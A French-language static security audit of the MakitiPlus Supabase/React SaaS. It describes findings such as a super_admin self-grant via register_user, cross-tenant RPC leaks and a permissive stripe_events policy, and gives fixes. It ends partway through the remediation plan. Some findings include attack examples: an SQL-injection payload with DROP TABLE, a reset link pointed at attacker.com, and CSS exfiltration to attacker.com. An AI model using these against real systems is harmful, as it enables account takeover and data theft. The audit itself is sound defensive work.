

Audit de sécurité

- 1 Critique
- 4 Élevé
- 7 Moyen
- 6 Faible
- 4 Info

MakitiPlus — Plateforme SaaS offline-first
pour le commerce africain

Revue statique approfondie du code source : 76 migrations SQL Supabase, 12 edge functions, 24 pages React, contexts d'authentification et de synchronisation offline. Identification de 22 constats de sécurité dont 1 critique et 4 élevés, avec plan de remédiation priorisé sur 3 paliers.

DATE

7 juillet 2026

PÉRIMÈTRE

github.com/skaba89/makitiplus

MÉTHODOLOGIE

Revue statique
du code

RÉFÉRENCE

AUDIT-2026-007

Sommaire

1. Synthèse exécutive	3
2. Méthodologie et périmètre	5
2.1 Méthodologie	5
2.2 Périmètre	5
2.3 Outils utilisés	6
3. Findings critiques	7
4. Findings élevés	8
5. Findings moyens	12
6. Findings faibles et informatifs	16
7. Points forts de sécurité	17
7.1 Côté backend (Supabase + RPC + Edge Functions)	17
7.2 Côté frontend (React + offline)	17
7.3 Côté CI/CD et monitoring	18
8. Plan de remédiation priorisé	19
8.1 Palier 1 — Immédiat (cette semaine)	19
8.2 Palier 2 — Court terme (2 semaines)	19
8.3 Palier 3 — Moyen terme (1 mois)	19
9. Matrice complète des risques	21
10. Annexes — Références et outils	23
10.1 Références externes	23

10.2 Outils recommandés pour audit continu 23

10.3 Migrations SQL à patcher 24

10.4 Glossaire 24

1. Synthèse exécutive

Cet audit de sécurité statique du projet **MakitiPlus** a couvert l'intégralité du code source disponible sur le dépôt GitHub *skaba89/makitiplus*, soit 76 migrations SQL Supabase, 12 edge functions Deno, 24 pages React, 6 contexts d'application, 22 hooks métier et la configuration mobile Capacitor (Android + iOS). La méthodologie a consisté en une revue manuelle du code avec recherche systématique de vulnérabilités connues : escalade de privilèges via RPC *SECURITY DEFINER*, contournement de RLS, exposition cross-tenant, injection PostgREST, fuites de secrets, faiblesses de gestion de session et erreurs de configuration mobile.

Au global, le projet montre une **maturité sécurité supérieure à la moyenne** des SaaS Supabase audités : la migration `P0_20260702090000_p0_security_remove_client_identity_params.sql` a correctement retiré les paramètres d'identité client des RPC critiques, les edge functions utilisent systématiquement *timingSafeEqual*, garde la méthode HTTP, vérifie la signature HMAC du webhook Stripe avec fenêtre temporelle de 5 minutes, et impose un rate limiting atomique via *Deno.openKv()*. La session utilisateur est stockée en mémoire uniquement (*persistSession: false*), ce qui élimine le vecteur classique de vol de token par XSS.

Cependant, l'audit a identifié **22 constats** dont **1 critique** permettant un takeover complet de la plateforme par un utilisateur anonyme, et **4 vulnérabilités élevées** exposant des données cross-tenant ou cassant des fonctionnalités critiques (backups, support tickets). Le tableau ci-dessous synthétise la répartition par sévérité.

Sévérité	Nombre	Délai de remédiation	Exemples
CRITIQUE	1	Immédiat (≤ 48h)	Self-grant super_admin via register_user
ÉLEVÉ	4	Court terme (≤ 2 semaines)	register_user NULL org, stripe_events policy, is_org_admin() undefined, suppliers cross-tenant
MOYEN	7	Moyen terme (≤ 1 mois)	restore_backup injection, reset-link redirect, forms sans zod, CSP unsafe-inline
FAIBLE	6	Planifié	fail-open CRON_SECRET, allowBackup=true, dangerouslySetInnerHTML colors
INFO	4	Documentation	verify_jwt default, postgrestSanitize solide, session memory-only
TOTAL	22	—	16 actionnables, 6 informatifs

[!!] À TRAITER EN URGENCE — CRIT-1

La fonction `register_user` accepte un chemin « premier admin » qui ne vérifie pas `admin_exists()`. N'importe quel visiteur anonyme peut s'inscrire, créer une organisation dont il est propriétaire, puis appeler `register_user(p_role := 'super_admin', p_organization_id := <son org>)` pour s'auto-attribuer le rôle **super_admin** — même si d'autres super_admins existent déjà. Conséquence : takeover complet de la plateforme, accès à toutes les organisations, toutes les boutiques, toutes les données financières, et capacité de suppression de n'importe quelle organisation. **Cette vulnérabilité doit être patchée et déployée en production dans les 48 heures.**

Les trois autres vulnérabilités élevées (HIGH-1 à HIGH-4) ne permettent pas un takeover complet mais exposent des données sensibles ou cassent des fonctionnalités métier. HIGH-4 en particulier (fonction `is_org_admin()` référencée par 7 politiques RLS mais jamais définie) rend les INSERT/UPDATE/DELETE sur les tables **backups** et **support_tickets** fonctionnellement cassés en production — toute opération échoue avec une erreur « function does not exist ». Ce constat suggère que ces modules n'ont pas été testés en conditions réelles, ce qui est préoccupant pour un produit en phase pilote.

2. Méthodologie et périmètre

2.1 Méthodologie

L'audit a été conduit en revue statique du code source, sans accès à l'environnement de production et sans tests d'intrusion dynamiques. Cette approche permet d'identifier les vulnérabilités structurelles (logique d'autorisation, configuration RLS, gestion des secrets) mais ne remplace pas un test d'intrusion qui validerait également l'exploitabilité réelle et la posture défensive en production (WAF, monitoring, alerting). Pour chaque constat, le rapport fournit le fichier et la ligne exacte, une description du problème, une analyse d'impact et une recommandation de remédiation concrète.

La revue a suivi une grille en 10 dimensions inspirée de l'OWASP Top 10 et des guides Supabase de sécurité multi-tenant : (1) Authentification et autorisation, (2) RLS Supabase, (3) Fonctions RPC SECURITY DEFINER, (4) Edge Functions, (5) Sécurité côté client, (6) Secrets et variables d'environnement, (7) En-têtes CSP et de sécurité, (8) Validation des entrées, (9) Gestion de session, (10) Configuration mobile Capacitor. Chaque dimension a fait l'objet d'une lecture exhaustive des fichiers concernés et d'une recherche systématique par pattern (grep sur SECURITY DEFINER, CREATE POLICY, sk_live_, dangerouslySetInnerHTML, etc.).

2.2 Périmètre

Le périmètre audité couvre l'intégralité du dépôt à la date du 7 juillet 2026. Les éléments hors périmètre sont : la configuration réseau Supabase (Dashboard, pas de fichier), les variables d'environnement de production (non committées), les logs de production, et les dépendances tierces qui ne sont évaluées que via `npm audit --audit-level=high` en CI.

Composant	Fichiers	Détail
Migrations SQL Supabase	76	Schéma, RLS, RPC SECURITY DEFINER, indexes, cron
Edge Functions Deno	12	Stripe webhook/checkout/portal, admin, reset tokens, WhatsApp, lifecycle
Pages React	24	POS, Dashboard, Reports, Customers, Suppliers, Admin, Billing, Settings
Contexts React	6	Auth, Offline, Store, Branding, Theme, Demo, POSCart
Hooks métier	22	usePOSProducts, useOfflineMutation, useStripeCheckout, useAccountStatusGuard...
Lib utilitaires	15	offlineQueue, postgrestSanitize, syncConflictResolver, passwordPolicy, sentry...
Tests unitaires	63	Couverture sécurité (securityP0, authRlsPolicies, sqlSafety, edgeFunctionSecurity)
Configuration mobile	iOS + Android	Capacitor 8, AndroidManifest.xml, Info.plist, file_paths.xml

Composant	Fichiers	Détail
CI/CD	1 workflow	GitHub Actions : lint, typecheck, build, tests, npm audit, secret scanning, E2E Playwright

2.3 Outils utilisés

La revue a mobilisé : **ripgrep** pour la recherche de patterns (SECURITY DEFINER, CREATE POLICY, USING(true), sk_live_, dangerouslySetInnerHTML), **lecture manuelle** des fichiers critiques (migrations de sécurité P0/P1, edge functions admin, contexts d'authentification), et **analyse logique** des politiques RLS (vérification des clauses USING/WITH CHECK, des fonctions SECURITY DEFINER et de leur trust model). Les recommandations de l'OWASP Cheat Sheet Series pour Supabase (RLS Best Practices, Auth Patterns) et le guide Stripe Webhook Best Practices ont servi de référence pour qualifier les constats.

3. Findings critiques

Cette section détaille le seul constat de sévérité critique identifié durant l'audit. Il doit être traité en priorité absolue, idéalement sous 48 heures, et justifie à lui seul la mise en place d'un correctif d'urgence hors cycle de release normale.

CRIT-1**CRITIQUE****Self-grant super_admin via register_user « first admin » exception**

Fichier : supabase/migrations/20260702100000_fix_register_user_first_admin.sql:53-90

Description. La fonction `register_user` gère le cas « premier admin » en vérifiant uniquement deux conditions : (1) l'organisation passée en paramètre existe et a l'utilisateur courant comme `owner_user_id`, (2) l'utilisateur n'a pas encore de profil. Elle **ne vérifie pas** `admin_exists()`. Combinée à la politique RLS d'INSERT sur `organizations` (migration 20260629010000_add_super_admin_role.sql:53-58) qui permet à n'importe quel utilisateur authentifié de créer une organisation dont il est propriétaire, n'importe qui peut s'auto-proclamer premier admin d'une organisation qu'il vient de créer — même si d'autres `super_admins` existent déjà sur la plateforme.

Impact. Prise de contrôle complète de la plateforme. Un visiteur anonyme peut : (1) s'inscrire via `supabase.auth.signUp()`, (2) créer une organisation dont il est propriétaire, (3) appeler `register_user(p_role := 'super_admin', p_organization_id := <son org>)`. Le rôle **super_admin** donne accès à toutes les organisations, toutes les boutiques, toutes les données financières, toutes les fonctions d'administration des utilisateurs, et la capacité de supprimer n'importe quelle organisation (`delete_organization` ne vérifie que `is_super_admin()`). Le contrôle `admin_exists()` côté frontend (Auth.tsx:64-77) ne fait que masquer l'onglet d'inscription, il n'est pas enforce côté serveur.

Recommandation. Ajouter en tête de la fonction `register_user` une vérification explicite `IF public.admin_exists() AND v_is_first_admin THEN RAISE EXCEPTION 'An admin already exists'; END IF;`. Mieux : supprimer entièrement l'exception « premier admin » du RPC et exiger qu'elle passe par un script de bootstrap dédié ou une edge function one-shot invoquée avec la clé service role. Compléter par un test d'intégration qui tente le scénario d'attaque et vérifie qu'il est rejeté.

```
-- AVANT (vulnérable) IF v_is_first_admin THEN INSERT INTO user_roles(user_id, role)
VALUES(auth.uid(), p_role); -- p_role peut valoir 'super_admin' sans vérification END IF;
-- APRÈS (corrigé) IF v_is_first_admin THEN IF public.admin_exists() THEN RAISE EXCEPTION
'An admin already exists – bootstrap path closed'; END IF; IF p_role NOT IN ('admin',
'super_admin') THEN RAISE EXCEPTION 'First admin must be admin or super_admin'; END IF;
INSERT INTO user_roles(user_id, role) VALUES(auth.uid(), p_role); END IF;
```


4. Findings élevés

Les 4 constats de sévérité élevée présentés ci-dessous exposent des données sensibles cross-tenant ou cassent des fonctionnalités métier critiques. Ils ne permettent pas un takeover complet comme CRIT-1, mais doivent être traités dans les deux semaines suivant la remise du rapport.

HIGH-1**ÉLEVÉ****register_user avec p_organization_id IS NULL accepte n'importe quel rôle**

Fichier : supabase/migrations/20260702100000_fix_register_user_first_admin.sql:81 & 20260702090000_p0_security_remove_client_identity_params.sql:357-358

Description. Quand `p_organization_id` est `NULL`, la fonction réalise **aucune vérification d'autorisation** et insère directement `p_role::app_role` dans `user_roles`. Le cast vers l'énumération valide que la valeur est dans l'enum (`super_admin`, `admin`, `manager`, `vendeur`, `comptable`) mais ne restreint pas quelle valeur l'appelant peut choisir. Un utilisateur sans profil et sans org peut appeler `register_user(p_role := 'super_admin', p_organization_id := NULL)` et obtenir `super_admin`.

Impact. Même impact que CRIT-1 (takeover complet) via un chemin d'attaque encore plus simple — pas besoin de créer une organisation au préalable. Le fait que l'utilisateur n'ait pas `organization_id` ne bloque pas `is_super_admin()` qui ne consulte que `user_roles`.

Recommandation. Restreindre `p_role` aux valeurs non-admin (`vendeur`, `manager`, `comptable`) quand il n'y a pas d'autorisation admin. Mieux : ne jamais laisser un self-caller choisir `admin` ou `super_admin` — ces rôles ne devraient provenir que de l'edge function `admin-create-user` qui l'enforce déjà (`admin-create-user/index.ts:46-49`).

HIGH-2

ÉLEVÉ

Exposition cross-tenant via get_supplier_stats et get_supplier_with_products

Fichier :

supabase/migrations/20260702060000_add_suppliers_and_supplier_products.sql:140-208

Description. Les deux fonctions sont SECURITY DEFINER (contournent la RLS) et acceptent p_organization_id du client sans vérifier que l'appelant est membre de cette organisation. Un utilisateur authentifié peut appeler get_supplier_stats(p_organization_id := <UUID d'une autre org>) et récupérer la liste fournisseurs, le catalogue produits-fournisseurs, les prix d'approvisionnement et les niveaux de stock d'une organisation à laquelle il n'appartient pas.

Impact. Breach de confidentialité cross-tenant direct. C'est exactement la classe de bug que la migration P0 20260702090000 était censée éliminer, mais ces deux fonctions ont été manquées. En SaaS multi-tenant, ce type de fuite peut constituer un motif de rupture de contrat avec les clients concernés et une obligation de notification à la CNIL (RGPD) si des données personnelles sont exposées.

Recommandation. Remplacer le paramètre p_organization_id par public.get_user_organization_id() à l'intérieur du corps de la fonction. Ou ajouter en tête : IF p_organization_id != public.get_user_organization_id() AND NOT public.is_super_admin() THEN RAISE EXCEPTION 'Access denied'; END IF;.

```
-- Code vulnérable CREATE FUNCTION get_supplier_stats(p_organization_id UUID) RETURNS jsonb LANGUAGE plpgsql SECURITY DEFINER AS $$ BEGIN SELECT jsonb_build_object(...) FROM suppliers WHERE organization_id = p_organization_id; -- pas de vérif! END $$; -- Code corrigé CREATE FUNCTION get_supplier_stats() RETURNS jsonb LANGUAGE plpgsql SECURITY DEFINER AS $$ DECLARE v_org UUID := public.get_user_organization_id(); BEGIN SELECT jsonb_build_object(...) FROM suppliers WHERE organization_id = v_org; END $$;
```

HIGH-3

ÉLEVÉ

stripe_events : policy USING(true) WITH CHECK(true) sans clause TO s'applique à tous les rôles**Fichier :**

supabase/migrations/20260703040000_p1_sale_limit_grant_stripe_idempotency.sql:131-133

Description. La politique `stripe_events_service_role` ON `public.stripe_events` FOR ALL USING (true) WITH CHECK (true) n'a pas de clause TO <role>, donc elle s'applique par défaut à TO public (tous les rôles, y compris `authenticated`). En Supabase RLS, les politiques sont combinées par OR : pour SELECT la politique restrictive `stripe_events_select_authenticated` est également active, mais pour INSERT/UPDATE/DELETE seule la politique permissive s'applique.

Impact. N'importe quel utilisateur authentifié peut : (1) INSERT de fausses lignes dans `stripe_events` avec un `event_id` arbitraire pour pré-empêcher le traitement légitime du webhook (DoS sur le billing), (2) DELETE des enregistrements d'idempotency légitimes, provoquant un re-traitement des webhooks Stripe et des doubles upgrades d'abonnement, (3) lire les payloads des webhooks d'autres organisations (emails clients, IDs d'abonnement, montants).

Recommandation. Restreindre explicitement la politique au rôle `service_role` : `CREATE POLICY stripe_events_service_role ON public.stripe_events FOR ALL TO service_role USING (true) WITH CHECK (true);`. Effectuer un audit complet des politiques similaires sur les autres tables SaaS (subscriptions, plans, audit_logs) pour vérifier qu'aucune n'a le même défaut.

HIGH-4

ÉLEVÉ

is_org_admin() référencée par 7 politiques RLS mais jamais définie

Fichier : supabase/migrations/20260702190000_backup_restore.sql:65,72,79 &
20260702200000_support_tickets.sql:104,111,129,136

Description. Plusieurs politiques RLS appellent `public.is_org_admin()` : Admins can insert backups, Admins can update backups, Admins can delete backups, Admins can update support_tickets, etc. Une recherche exhaustive sur les 76 migrations (y compris `_combined_remaining_migrations.sql` et `_deploy_combined.sql`) ne trouve **aucune** définition de `CREATE FUNCTION public.is_org_admin()`.

Impact. Conséquence fonctionnelle : tout INSERT/UPDATE/DELETE sur **backups** échoue avec `function is_org_admin() does not exist` — le module de backup est cassé en production. Le module support_tickets a le même problème pour DELETE/UPDATE. Conséquence sécurité : si PostgREST catch l'erreur et tombe sur deny (comportement par défaut), les tables sont effectivement read-only — c'est un déni de service fonctionnel. Si un chemin de code catche l'erreur et renvoie true (peu probable mais possible), cela devient un bypass d'authentification. Dans tous les cas c'est un problème de fiabilité majeur qui masque l'intention de sécurité.

Recommandation. Créer la fonction manquante : `CREATE OR REPLACE FUNCTION public.is_org_admin() RETURNS boolean LANGUAGE sql STABLE SECURITY DEFINER SET search_path = public AS $$ SELECT EXISTS (SELECT 1 FROM public.user_roles WHERE user_id = auth.uid() AND role IN ('admin', 'super_admin'));` Puis `GRANT EXECUTE ON FUNCTION public.is_org_admin() TO authenticated;`. Ajouter un test CI qui scanne les migrations pour détecter les références à des fonctions non définies — script similaire à `scripts/validate_sql_migrations.py` mais pour la résolution de symboles.

5. Findings moyens

Les 7 constats de sévérité moyenne qui suivent ne constituent pas des vulnérabilités critiques mais représentent soit des défauts de defense-in-depth, soit des problèmes opérationnels (données référencées mais jamais créées, politiques RLS incohérentes, etc.). Ils sont à traiter dans le mois qui suit la remise du rapport.

MED-1	MOYEN	user_activity_logs accepte n'importe quel p_action du client (intégrité d'audit)
-------	-------	--

Fichier : supabase/migrations/20260706060000_user_activity_tracking.sql:73-77, 206-229

Description. Le RPC `log_user_activity(p_action TEXT, ...)` accepte n'importe quelle chaîne comme `p_action` et l'insère directement. Le frontend l'appelle avec `'login'` et `'logout'` (`AuthContext.tsx:229,357`), mais un client malveillant peut appeler `log_user_activity(p_action := 'sale_created', p_description := 'Sold 5 iPhones')` pour fabriquer de fausses entrées d'audit qui polluent les dashboards de performance vendeur (`get_seller_performance`, `get_seller_activities`).

Impact. Intégrité de l'audit log compromise. Les managers qui s'appuient sur `user_activity_logs` pour les KPI vendeurs ne peuvent plus faire confiance aux données. Problème de defense-in-depth, pas une escalade de privilèges.

Recommandation. Valider `p_action` contre un enum / allowlist à l'intérieur du RPC :

```
IF p_action NOT IN ('login','logout','sale_created','product_created','stock_adjusted', ...) THEN RAISE EXCEPTION 'Invalid action'; END IF;
```

 Idéalement convertir la colonne `action` en type `ENUM` Postgres.

MED-2

MOYEN

profiles et user_roles : politiques RLS laissées dans un état incohérent

Fichier : supabase/migrations/20260706200000_fix_auth_profile_role_rls.sql:1-26

Description. Cette migration crée de **nouvelles** politiques (profiles_select_own, profiles_update_own, user_roles_select_own) restreintes à user_id = auth.uid(), mais **ne supprime pas** les politiques plus larges antérieures (Users can view own profile, user_roles_select_own_or_admin, etc.). En PostgreSQL RLS, les politiques sont combinées par OR, donc les politiques larges s'appliquent toujours et les nouvelles politiques strictes sont effectivement no-ops.

Impact. Pas de regression sécurité (la politique large reste safe), mais la migration crée des noms de politiques trompeurs et du code mort. Les développeurs futurs peuvent croire que l'accès est verrouillé alors qu'il ne l'est pas.

Recommandation. Soit supprimer les anciennes politiques larges : DROP POLICY IF EXISTS "Users can view own profile" ON profiles; DROP POLICY IF EXISTS "user_roles_select_own_or_admin" ON user_roles;. Soit supprimer entièrement cette migration comme redondante.

MED-3

MOYEN

whatsapp_config et whatsapp_message_logs référencés mais jamais créés en migration

Fichier : supabase/functions/send-whatsapp/index.ts:101,191,215,232

Description. La fonction send-whatsapp lit et écrit dans whatsapp_config et whatsapp_message_logs, mais une recherche grep -rEn "whatsapp_config|whatsapp_message_logs" supabase/migrations/ retourne 0 résultat. Soit ces tables sont provisionnées hors-band (via le Dashboard Supabase, ce qui casse le modèle migrations-as-source-of-truth), soit la fonctionnalité est silencieusement cassée.

Impact. Opérationnel — la feature est cassée. Sécurité-relevant parce que cela suggère des changements de schéma non trackés qui bypassent la code review. Si les tables sont créées manuellement, elles n'ont probablement pas de RLS configurée correctement.

Recommandation. Ajouter une migration créant les deux tables avec RLS scopée par organization_id = get_user_organization_id(). Documenter dans le README la procédure à suivre pour toute nouvelle table (passer par migration, jamais par Dashboard).

MED-4

MOYEN

restore_backup : `format("%s", v_col_list)` avec noms de colonnes influençables

Fichier : `supabase/migrations/20260702190000_backup_restore.sql:359-369`

Description. La fonction `restore_backup` construit du SQL dynamique avec `format('INSERT INTO public.%I (%s) VALUES (%s) ...', v_table_name, v_col_list, v_val_list)`. Le nom de table est correctement échappé (`%I`) et provient d'un array hardcoded, mais `v_col_list` est construit à partir de `jsonb_object_keys(v_rows->0)` (les clés du premier objet JSON) et inséré via `%s` (non échappé). Un admin qui peut UPDATE la colonne `backup_data` d'une ligne de `backups` (autorisé par la politique « Admins can update backups ») peut crafter un objet JSON dont les clés contiennent un payload d'injection SQL comme `id) VALUES (gen_random_uuid()); DROP TABLE customers;--`.

Impact. Limité — l'exploitation requiert le rôle admin dans sa propre org (un admin a déjà l'accès complet aux données de son org), donc c'est un défaut de defense-in-depth. Devient critique si une future feature permet le partage cross-org de backups ou si un `super_admin` restore un backup fourni par une org.

Recommandation. Utiliser `format('%I', col_name)` pour chaque colonne au lieu de joindre les noms bruts. Mieux : valider que chaque nom de colonne existe dans `information_schema.columns` pour `v_table_name` avant de l'inclure.

MED-5

MOYEN

admin-send-reset-link : lien SMS/email construit depuis `redirectTo` contrôlé par le client

Fichier : `supabase/functions/admin-send-reset-link/index.ts:133-137, 181-186`

Description. Le code `const origin = req.headers.get('origin') ?? redirectTo ?? ''`; puis `const link = `${origin}/auth?reset_token=${token}``; Le champ `redirectTo` du body est entièrement contrôlé par le client et est aussi passé à `auth.admin.generateLink({ options: { redirectTo } })` pour le canal email. Si la session admin est compromise (ou si un admin malveillant existe), il peut faire pointer les emails/SMS de reset vers `https://attacker.com/auth?reset_token=...` et capturer le token one-shot quand la victime clique.

Impact. Takeover de compte de n'importe quel utilisateur non-admin de l'org de l'admin, par phishing via interception du lien de reset. Requiert soit une session admin compromise, soit un admin malveillant.

Recommandation. Utiliser `validateOrigin(req)` (déjà importé dans `_shared/cors.ts`) au lieu de `origin` et `redirectTo` bruts. Rejeter ou ignorer `redirectTo` s'il ne commence pas par l'origine validée.

MED-6

MOYEN

Formulaires métier (ProductForm, CustomerDetailDialog, etc.) sans validation zod

Fichier : src/components/products/ProductForm.tsx,
src/components/customers/CustomerDetailDialog.tsx,
src/components/products/StockAdjustDialog.tsx,
src/components/customers/CreditPaymentDialog.tsx

Description. Une recherche `grep -rE "from \"zod\"" src/components/ src/pages/` ne trouve qu'un seul match : `src/pages/Auth.tsx:12`. Aucun des formulaires métier (création produit, update client, ajustement stock, paiement crédit) n'utilise zod. Les entrées sont validées uniquement par les attributs HTML `required` et du trimming ad-hoc.

Impact. Gap de defense-in-depth. La RLS valide `organization_id` et la plupart des RPC valident les plages d'entrée, mais pour les mutations INSERT/UPDATE directes (`supabase.from('products').insert({...})` depuis la offline queue ou le product form), le seul check server-side est `organization_id = get_user_organization_id()`. Un `price` malformé (négatif, NaN, 1e10), un `barcode` avec caractères de contrôle, ou un `name` de 100 KB seront persistés.

Recommandation. Ajouter des schémas zod (`productSchema`, `customerSchema`, `stockAdjustmentSchema`, `creditPaymentSchema`) partagés entre les formulaires client et une future couche de validation server-side. Idéalement, générer ces schémas depuis les types TypeScript déjà existants dans `src/integrations/supabase/types.ts`.

MED-7

MOYEN

CSP style-src unsafe-inline + chart.tsx dangerouslySetInnerHTML

Fichier : render.yaml:46 & src/components/ui/chart.tsx:70

Description. La CSP autorise `style-src 'self' 'unsafe-inline'` parce que le composant `chart` injecte du CSS via `dangerouslySetInnerHTML`. Combiné avec MED-7/LOW-5, toute future valeur de couleur contrôlée par l'utilisateur pourrait exfiltrer des données via des side-channels CSS (ex. `background: url(https://attacker.com/?data=...)`).

Impact. Risque faible à court terme (les couleurs proviennent de constantes développeur), mais la combinaison `unsafe-inline` + `dangerouslySetInnerHTML` est une dette technique à éliminer avant toute évolution vers de la personnalisation utilisateur des thèmes.

Recommandation. Déplacer le theming des charts vers des CSS custom properties passées via `style={{ '--color-x: color }}` (React échappe les valeurs) au lieu de `dangerouslySetInnerHTML`. Puis resserrer la CSP à `style-src 'self'`.

6. Findings faibles et informatifs

Les 10 constats suivants (6 faibles + 4 informatifs) sont présentés sous forme de tableau condensé. Ils ne nécessitent pas d'action urgente mais améliorent la posture sécurité globale une fois traités. Les constats informatifs (INFO) sont des points positifs ou des bonnes pratiques déjà en place, documentés pour référence.

ID	Sév.	Titre	Fichier	Recommandation
LOW-1	Faible	Stale GRANT sur check_account_status(UUID) droppée	20260701030000_high_audit_fixes.sql:80	Supprimer la ligne GRANT morte
LOW-2	Faible	rotate-test-accounts fail-open si CRON_SECRET unset	supabase/functions/rotate-test-accounts/index.ts:21	Mirror subscription-lifecycle : if (!cronSecret) return 500
LOW-3	Faible	send-whatsapp ne vérifie pas que phone/sale_id/customer_id appartiennent à l'org	supabase/functions/send-whatsapp/index.ts:125-138	Vérifier EXISTS customer dans l'org si customer_id fourni
LOW-4	Faible	useInactivityTimeout écrit last_logout_at depuis le client (forgeable)	src/hooks/useInactivityTimeout.ts:60-66	Déplacer dans signOut RPC avec NOW() server-side
LOW-5	Faible	chart.tsx dangerouslySetInnerHTML avec valeurs de couleur	src/components/ui/chart.tsx:70-86	Regex sanitize /^#[0-9a-fA-F]{3,8}\$/ avant injection
LOW-6	Faible	Android allowBackup=true + FileProvider paths trop larges	android/app/src/main/AndroidManifest.xml:5	allowBackup=false, restreindre file_paths.xml à Pictures/MakitiPlus/
INFO-1	Info	verify_jwt default true pour edge functions admin (bonne pratique)	supabase/config.toml:8-15	Documenter explicitement dans config.toml pour éviter un futur changement accidentel
INFO-2	Info	postgrestSanitize.ts contrôle l'injection PostgREST de manière solide	src/lib/postgrestSanitize.ts:13	Maintenir sanitizeSearchInput pour tous les .or()/.like()/.filter()
INFO-3	Info	Session storage memory-only (résistance vol de token, trade-off UX)	src/integrations/supabase/client.ts:33-39	Documenter le trade-off. Si UX problématique, envisager cookieStorage sameSite=lax
INFO-4	Info	CI: npm audit + scan secrets + .env leak prevention en place	.github/workflows/ci.yml:45-77	Maintenir. Ajouter semgrep pour règles custom Supabase

Lecture du tableau. Les constats de sévérité faible représentent soit des défauts de defense-in-depth dont l'exploitation nécessite déjà un accès partiel au système (admin, vendeur), soit des opportunités de durcissement qui ne sont pas exploitables isolément mais qui renforcent la posture globale. Les constats informatifs documentent les contrôles déjà en place et qui devraient être préservés lors des évolutions futures.

7. Points forts de sécurité

Pour équilibrer la lecture de ce rapport, il est important de reconnaître les contrôles de sécurité déjà solides en place dans MakitiPlus. Ces points forts sont le résultat d'un travail de durcissement itératif visible dans l'historique des migrations (les migrations P0 et P1 de juillet 2026 ont systématiquement corrigé les classes de bugs les plus critiques), et témoignent d'une équipe consciente des enjeux sécurité. Les recommandations de ce rapport visent à compléter ce socle, pas à le remplacer.

7.1 Côté backend (Supabase + RPC + Edge Functions)

RLS forcée sur 30+ tables via la migration `20260705060000_force_row_level_security.sql`. Même le propriétaire Postgres ne peut plus contourner la RLS — c'est le niveau de maturité attendu d'un SaaS multi-tenant en production. Les politiques sont systématiquement scopées par `organization_id = public.get_user_organization_id()`.

Retrait des paramètres client des RPC SECURITY DEFINER via la migration P0 `20260702090000`. Les fonctions `create_full_sale`, `process_credit_payment`, `adjust_product_stock`, `increment_customer_credit` utilisent désormais `auth.uid()` et `get_user_organization_id()` côté serveur. C'est exactement la correction OWASP recommandée pour Supabase.

Edge functions durcies. Le dossier `_shared/` mutualise CORS allowlist (pas de wildcard en production), `rateLimiter` atomique via `Deno.openKv()`, `httpMethodGuard`, `timingSafeEqual` (XOR constant-time), `passwordPolicy` mirrored client + server. La fonction `orgScope.ts` centralise la vérification JWT + admin role + statut actif + scope org — c'est le pattern recommandé pour les fonctions admin.

Webhook Stripe vérifié avec HMAC-SHA256 + fenêtre temporelle de 5 minutes (`stripe-webhook/index.ts:19-61`), avec timing-safe comparison et rejet si le timestamp dépasse 5 minutes (prévention de replay). Le webhook implémente aussi l'idempotency via la table `stripe_events` (à corriger pour la politique RLS, voir HIGH-3).

Reset tokens stockés hashés SHA-256, single-use via `used_at`, expiration 30 minutes, rate-limited à 5 par minute (`redeem-reset-token/index.ts:63-93`). Après `reset`, `signOut(userId, 'global')` invalide toutes les sessions existantes.

7.2 Côté frontend (React + offline)

Session en mémoire uniquement (`persistSession: false`, `autoRefreshToken: false` dans `src/integrations/supabase/client.ts`). Les access tokens ne touchent jamais `localStorage` ni `sessionStorage` — le vecteur classique de vol de token par XSS est éliminé. Trade-off : l'utilisateur doit se reconnecter à chaque reload complet (F5), mais c'est un choix de durcissement délibéré.

Offline queue sécurisée. `src/lib/offlineQueue.ts` maintient une allowlist de tables et RPC names acceptés en mutation offline (`offlineQueue.ts:48-63`), valident au flush que `organizationId === currentUserOrgId` et `userId === user.id` (`offlineQueue.ts:238-249`), TTL de 7 jours sur les mutations en attente pour éviter le replay de stale operations.

Sanitization PostgREST. `src/lib/postgrestSanitize.ts` strip les caractères `%`, `(`, `)`, `.` des entrées de recherche avant injection dans les filtres `.or()` / `.ilike()`. Combiné avec le fait que toutes les requêtes passent par le client typé Supabase (pas de SQL brut), la surface d'injection SQL est minimale.

ProtectedRoute strict. `src/components/ProtectedRoute.tsx` bloque l'accès si `userRole === null` après auth complétée (session incomplète). La fonction `clearAuthStorage` purger toutes les clés `sb-*`, `supabase.auth.token`, `makitiplus_auth`, `malikiplus_auth` des `localStorage` et `sessionStorage` en cas d'accès non authentifié.

7.3 Côté CI/CD et monitoring

CI complète via `.github/workflows/ci.yml` : lint + typecheck + build + tests unitaires Vitest + validation SQL des migrations + `npm audit --audit-level=high` (bloquant) + scan de secrets (`sk_live_*`, `service_role JWT`, `.env` trackés) + E2E Playwright (pilote bloquant, full non-bloquant). C'est au-dessus de la moyenne des SaaS Supabase audités.

En-têtes de sécurité configurés dans `render.yaml` : `X-Content-Type-Options: nosniff`, `X-Frame-Options: DENY`, `Referrer-Policy: strict-origin-when-cross-origin`, `Permissions-Policy: camera=(self), geolocation=(), microphone=()`, et une CSP avec `frame-ancestors 'none'` (clickjacking bloqué) et `script-src 'self' https://js.stripe.com` (pas de `unsafe-eval` — rare et précieux).

Sentry configuré avec masquage privacy. `src/lib/sentry.ts` active `maskAllText: true` et `maskAllInputs: true` pour les session replays, et le `beforeSend` filtre les hôtes Lovable preview. Web Vitals (LCP, INP, CLS, TTFB) sont collectés pour le monitoring des performances.

Mobile Capacitor minimal. `capacitor.config.json` force `androidScheme: "https"`. `AndroidManifest` ne demande que la permission `INTERNET`. Pas de `usesCleartextTraffic="true"`. `iOS Info.plist` ne contient pas de `NSAllowsArbitraryLoads`. Pas de deep link custom scheme (pas de surface de hijack).

8. Plan de remédiation priorisé

Le plan de remédiation est organisé en 3 paliers temporels. L'effort estimé pour chaque correctif utilise l'échelle XS ($\leq 1h$) / S (≤ 1 jour) / M (≤ 3 jours) / L (≤ 1 semaine). Les responsabilités suggérées correspondent aux rôles typiques d'une équipe dev : **BE** = backend Supabase/SQL, **FE** = frontend React, **DevOps** = CI/CD + configuration.

8.1 Palier 1 — Immédiat (cette semaine)

Les 4 constats ci-dessous doivent être traités en priorité absolue. CRIT-1 justifie à lui seul un correctif d'urgence hors cycle de release normale, déployable en production sous 48 heures. HIGH-3 et HIGH-4 sont des correctifs très rapides (XS) qui débloquent des fonctionnalités cassées ou ferment des surfaces d'attaque majeures.

ID	Sév.	Correctif	Effort	Resp.
CRIT-1	CRITIQUE	Ajouter admin_exists() check dans register_user + tests d'attaque	S	BE
